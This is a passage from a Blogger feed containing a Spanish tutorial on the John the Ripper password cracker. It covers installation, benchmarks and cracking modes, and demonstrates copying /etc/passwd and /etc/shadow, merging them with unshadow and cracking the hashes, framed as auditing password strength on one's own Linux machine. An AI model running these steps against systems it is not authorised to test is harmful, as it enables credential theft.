href='http://x1nux.blogspot.com/2011/11/recuperar-archivos-borrados-bajo-linux.html' title='Recuperar archivos borrados bajo Linux'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-uidNn7Xjuus/TrBmMSIGJ7I/AAAAAAAABbw/-CrwtwTJP1c/s72-c/sleuthkit.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-3327343960640399742</id><published>2011-10-26T22:02:00.000-07:00</published><updated>2011-10-26T23:27:48.317-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='John Ripper'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><category scheme='http://www.blogger.com/atom/ns#' term='Cracking'/><title type='text'>John the Ripper - Herramienta de Desencriptamiento</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-o0BBPDb1qdc/Tqj404WbD0I/AAAAAAAABbM/Vzo3QGqiR1s/s1600/John_the_ripper.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 94px; height: 169px;" src="http://1.bp.blogspot.com/-o0BBPDb1qdc/Tqj404WbD0I/AAAAAAAABbM/Vzo3QGqiR1s/s320/John_the_ripper.jpg" alt="" id="BLOGGER_PHOTO_ID_5668053718409088834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;John the Ripper&lt;/b&gt; es un &lt;a href="http://es.wikipedia.org/wiki/Software"&gt;programa&lt;/a&gt; de &lt;a href="http://es.wikipedia.org/wiki/Criptograf%C3%ADa"&gt;criptografía&lt;/a&gt; que aplica &lt;a href="http://es.wikipedia.org/wiki/Fuerza_bruta"&gt;fuerza bruta&lt;/a&gt; para descifrar &lt;a href="http://es.wikipedia.org/wiki/Contrase%C3%B1a"&gt;contraseñas&lt;/a&gt;. Es capaz de romper varios &lt;a href="http://es.wikipedia.org/wiki/Algoritmo"&gt;algoritmos&lt;/a&gt; de &lt;a href="http://es.wikipedia.org/wiki/Criptograf%C3%ADa"&gt;cifrado&lt;/a&gt; o &lt;a href="http://es.wikipedia.org/wiki/Hash"&gt;hash&lt;/a&gt;, como &lt;a href="http://es.wikipedia.org/wiki/Data_Encryption_Standard"&gt;DES&lt;/a&gt;, &lt;a href="http://es.wikipedia.org/wiki/Secure_Hash_Algorithm"&gt;SHA-1&lt;/a&gt; y otros. &lt;p&gt;Es una herramienta de &lt;a href="http://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica"&gt;seguridad&lt;/a&gt; muy popular, ya que permite a los &lt;a href="http://es.wikipedia.org/wiki/Administrador_de_sistema"&gt;administradores de sistemas&lt;/a&gt; comprobar que las &lt;a href="http://es.wikipedia.org/wiki/Contrase%C3%B1a"&gt;contraseñas&lt;/a&gt; de los usuarios son suficientemente buenas.&lt;/p&gt; &lt;p&gt;John the Ripper es capaz de autodetectar el tipo de cifrado de entre muchos disponibles, y se puede personalizar su algoritmo de prueba de contraseñas. Eso ha hecho que sea uno de los más usados en este campo.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Algoritmos que entiende:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Los que se han usado comúnmente  en &lt;a href="http://es.wikipedia.org/wiki/Unix"&gt;Unix&lt;/a&gt; (con la  &lt;a href="http://es.wikipedia.org/wiki/Llamada_al_sistema"&gt;llamada al  sistema&lt;/a&gt; &lt;a href="http://es.wikipedia.org/w/index.php?title=Crypt&amp;amp;action=edit&amp;amp;redlink=1"&gt;crypt&lt;/a&gt;):  &lt;a href="http://es.wikipedia.org/wiki/Data_Encryption_Standard"&gt;DES&lt;/a&gt;,  &lt;a href="http://es.wikipedia.org/wiki/MD5"&gt;MD5&lt;/a&gt;, &lt;a href="http://es.wikipedia.org/wiki/Blowfish"&gt;Blowfish&lt;/a&gt;.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;a href="http://es.wikipedia.org/wiki/Kerberos"&gt;Kerberos&lt;/a&gt;  AFS.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href="http://es.wikipedia.org/w/index.php?title=Hash_LM&amp;amp;action=edit&amp;amp;redlink=1"&gt;Hash  LM&lt;/a&gt; (&lt;a href="http://es.wikipedia.org/w/index.php?title=Lan_Manager&amp;amp;action=edit&amp;amp;redlink=1"&gt;Lan  Manager&lt;/a&gt;), el sistema usado en &lt;a href="http://es.wikipedia.org/wiki/Windows"&gt;Windows&lt;/a&gt;  NT/2000/XP/2003.   &lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Mediante módulos externos, se puede hacer que también trabaje con:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;a href="http://es.wikipedia.org/wiki/MD4"&gt;MD4&lt;/a&gt;.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;a href="http://es.wikipedia.org/wiki/LDAP"&gt;LDAP&lt;/a&gt;.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;a href="http://es.wikipedia.org/wiki/MySQL"&gt;MySQL&lt;/a&gt;.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;Y otros.   &lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Carateristicas:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Optimizado para muchos modelos de  &lt;a href="http://es.wikipedia.org/wiki/Unidad_central_de_procesamiento"&gt;procesadores&lt;/a&gt;.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Funciona en muchas &lt;a href="http://es.wikipedia.org/wiki/Arquitectura_de_ordenadores"&gt;arquitecturas&lt;/a&gt;  y &lt;a href="http://es.wikipedia.org/wiki/Sistema_operativo"&gt;sistemas  operativos&lt;/a&gt;.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Ataques de diccionario y por  &lt;a href="http://es.wikipedia.org/wiki/Fuerza_bruta"&gt;fuerza bruta&lt;/a&gt;.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Muy personalizable (es &lt;a href="http://es.wikipedia.org/wiki/Software_libre"&gt;software  libre&lt;/a&gt;).   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Permite definir el rango de letras  que se usará para construir las palabras y las longitudes.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Permite parar el proceso y  continuarlo más adelante.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in"&gt;Permite incluir reglas en el  diccionario para decir cómo han de hacerse las variaciones  tipográficas.   &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;Se puede automatizar; por ejemplo, ponerlo en &lt;a href="http://es.wikipedia.org/wiki/Cron_%28Unix%29"&gt;cron&lt;/a&gt;.   &lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Ética  &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Aunque esté catalogada como &lt;a href="http://es.wikipedia.org/w/index.php?title=Herramienta_de_cracking&amp;amp;action=edit&amp;amp;redlink=1"&gt;herramienta de cracking&lt;/a&gt;, John the Ripper es una utilidad para &lt;a href="http://es.wikipedia.org/wiki/Administrador_de_sistema"&gt;administradores&lt;/a&gt; muy sencilla y que no comporta peligro para el usuario si la usa de forma adecuada.&lt;/p&gt; &lt;p&gt;No pasa nada malo por ejecutar una herramienta de este tipo en un ordenador personal. Sin embargo, en ordenadores multiusuario a veces se prohíbe su uso, ya que al hacer fuerza bruta, es fácil que consuma todo el &lt;a href="http://es.wikipedia.org/wiki/Tiempo_de_CPU"&gt;tiempo de CPU&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Los administradores de sistemas lo pueden emplear para evitar que sus usuarios pongan &lt;a href="http://es.wikipedia.org/wiki/Contrase%C3%B1a"&gt;contraseñas&lt;/a&gt; demasiado fáciles, pero lo habitual es hacerlo mediante un programa automático, que sólo se interese por si la clave se puede adivinar fácilmente o no. &lt;i&gt;En ningún caso es necesario que el administrador conozca la clave exacta&lt;/i&gt;; sólo ha de saber si es buena o no.&lt;/p&gt; &lt;p&gt;En un sistema &lt;a href="http://es.wikipedia.org/wiki/Unix"&gt;Unix&lt;/a&gt;, algunos usuarios malintencionados pueden intentar usar este programa para obtener información de acceso. Para evitarlo, basta con asegurarse de que las &lt;a href="http://es.wikipedia.org/wiki/Contrase%C3%B1a"&gt;contraseñas&lt;/a&gt; cifradas no estén visibles en el fichero &lt;tt class="western"&gt;/etc/passwd&lt;/tt&gt;, sino en el fichero &lt;tt class="western"&gt;/etc/shadow&lt;/tt&gt;, que &lt;i&gt;ha tener desactivado el permiso de lectura&lt;/i&gt; para los usuarios normales. Esta es la configuración predeterminada en los sistemas operativos de tipo &lt;a href="http://es.wikipedia.org/wiki/Unix"&gt;Unix&lt;/a&gt; (&lt;a href="http://es.wikipedia.org/wiki/BSD"&gt;BSD&lt;/a&gt;, &lt;a href="http://es.wikipedia.org/wiki/GNU/Linux"&gt;GNU/Linux&lt;/a&gt;, &lt;a href="http://es.wikipedia.org/wiki/Mac_OS_X"&gt;Mac OS X&lt;/a&gt;, etc.).&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Entorno de trabajo:  &lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;Sistema Operativo:&lt;/span&gt; Slackware 13.37 x86_64&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Descarga:  &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;Puede ser descargado de la siguiente URL; Sitio oficial.&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;a href="http://www.openwall.com/john/"&gt;http://www.openwall.com/john/&lt;/a&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Instalación John Ripper&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Descomprimir:  &lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$tar xvfz john-1.7.8.tar.bz2&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Compilar:&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$cd john-1.7.8/&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$cd src&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$make linux-x86-64&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;NOTA0: &lt;/span&gt;Los binarios o ejecutables de John ripper estan en la carpeta “run”.&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Funcionamiento:  &lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Probar john para ver que algoritmos soporta:&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$cd john-1.7.8&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$cd run&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$./john -test&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE&lt;br /&gt;Many salts:     2150K c/s real, 2154K c/s virtual&lt;br /&gt;Only one salt:  1811K c/s real, 1811K c/s virtual&lt;br /&gt;&lt;br /&gt;Benchmarking: BSDI DES (x725) [128/128 BS SSE2-16]... DONE&lt;br /&gt;Many salts:     72439 c/s real, 72730 c/s virtual&lt;br /&gt;Only one salt:  70374 c/s real, 70515 c/s virtual&lt;br /&gt;&lt;br /&gt;Benchmarking: FreeBSD MD5 [32/64 X2]... DONE&lt;br /&gt;Raw:    8551 c/s real, 8551 c/s virtual&lt;br /&gt;&lt;br /&gt;Benchmarking: OpenBSD Blowfish (x32) [32/64 X2]... DONE&lt;br /&gt;Raw:    522 c/s real, 523 c/s virtual&lt;br /&gt;&lt;br /&gt;Benchmarking: Kerberos AFS DES [48/64 4K]... DONE&lt;br /&gt;Short:  267929 c/s real, 268466 c/s virtual&lt;br /&gt;Long:   835481 c/s real, 835481 c/s virtual&lt;br /&gt;&lt;br /&gt;Benchmarking: LM DES [128/128 BS SSE2-16]... DONE&lt;br /&gt;Raw:    9936K c/s real, 9936K c/s virtual&lt;br /&gt;&lt;br /&gt;Benchmarking: generic crypt(3) [?/64]... DONE&lt;br /&gt;Many salts:     179788 c/s real, 180510 c/s virtual&lt;br /&gt;Only one salt:  180230 c/s real, 180591 c/s virtual&lt;br /&gt;&lt;br /&gt;Benchmarking: dummy [N/A]... DONE&lt;br /&gt;Raw:    70293K c/s real, 70293K c/s virtual&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Métodos de desencriptación para utilizar Jhon:&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Desencriptar Simple:&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$john --single mypasswd&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;o se puede abreviar:&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$john -si mypasswd&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Desencriptar múltiples archivos:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$john --single passwd1 passwd2&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;o  &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$john --single *passwd* *.pwd&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Desencriptar con Lista de password:&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$john --wordlist=password.lst --rules mypasswd&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;o Puede abreviar:&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$john -w=password.lst -ru mypasswd&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;La forma de desencriptar mas poderosa; se llama incremental:&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$john --incremental mypasswd&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;o&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;$john -i mypasswd&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;a name="result_box"&gt;&lt;/a&gt;&lt;a name="result_box1"&gt;&lt;/a&gt; En algunos casos es mas rápido usar el modo incremental pero solo para password mas fáciles de encontrar, el siguiente comando tratara de encontrar password contenidos desde la &lt;span lang="es-ES"&gt;"a" a "zzzzzzzz" (en un orden óptimo):&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;$john -i=alpha mypasswd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Jhon se puede usar también para buscar los passwords de solo un UID, usando la opción incremental, en este caso buscaremos el UID 0 que es el del usuario root de nuestro Linux:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#john -i -u=0 *.pwd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span lang="es-ES"&gt;Como probar que las contraseñas de los usuarios de mi Linux son fuertes ??&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span lang="es-ES"&gt;Como desencriptar mis propios archivos de password de mi Linux ?&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Vamos a realizar una demostración de como desencriptar los passwords de los usuarios en mi sistema Linux: &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Paso #1:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Obtener los archivos que contienen la información de los usuarios del sistema y los passwords encriptados: &lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Como usuario root debemos sacar una copia de los archivos &lt;span style="font-weight: bold;"&gt;/etc/passwd &lt;/span&gt;y&lt;span style="font-weight: bold;"&gt; /etc/shadow&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#cp -r /etc/passwd  /etc/shadow /home/pruebas/&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Paso #2&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Como el usuario normal del sistema que va a usar el John Ripper;  fusionar el passwd y el shadow en un solo archivo llamado mypasswd.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;$cd john-1.7.8/run&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;$unshadow /home/pruebas/passwd /home/pruebas/shadow  &amp;gt; mypasswd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Paso #3&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Usar cualquiera de los métodos de desencriptación  de john ripper en función al archivo mypasswd: &lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Simple:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;$john -si mypasswd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Lista de password:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;$john -w=password.lst -ru mypasswd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Incremental:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;$john -i mypasswd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span lang="es-ES"&gt;Como saber cuando ya desencriptó el password de un usuario ? &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Ejemplo de como realizarlo en la maquina local:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Como root sacar las copias de los archivos /et/passwd /etc/shadow y crear un usuario de prueba:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Copias:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#cp -r /etc/passwd /etc/shadow /home/pruebas/&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span lang="es-ES"&gt;Creación del usuario: &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#useradd user1&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;#passwd user1&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;XXXXX&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;XXXXX &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span lang="es-ES"&gt;Como el usuario del sistema que va a usar el John Ripper,  fusionar los dos archivos en uno, para iniciar la desencriptación:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(153, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span lang="es-ES"&gt;$john-1.7.8/run/unshadow /home/pruebas/passwd   /home/pruebas/shadow  /home/pruebas/filetocrack&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p 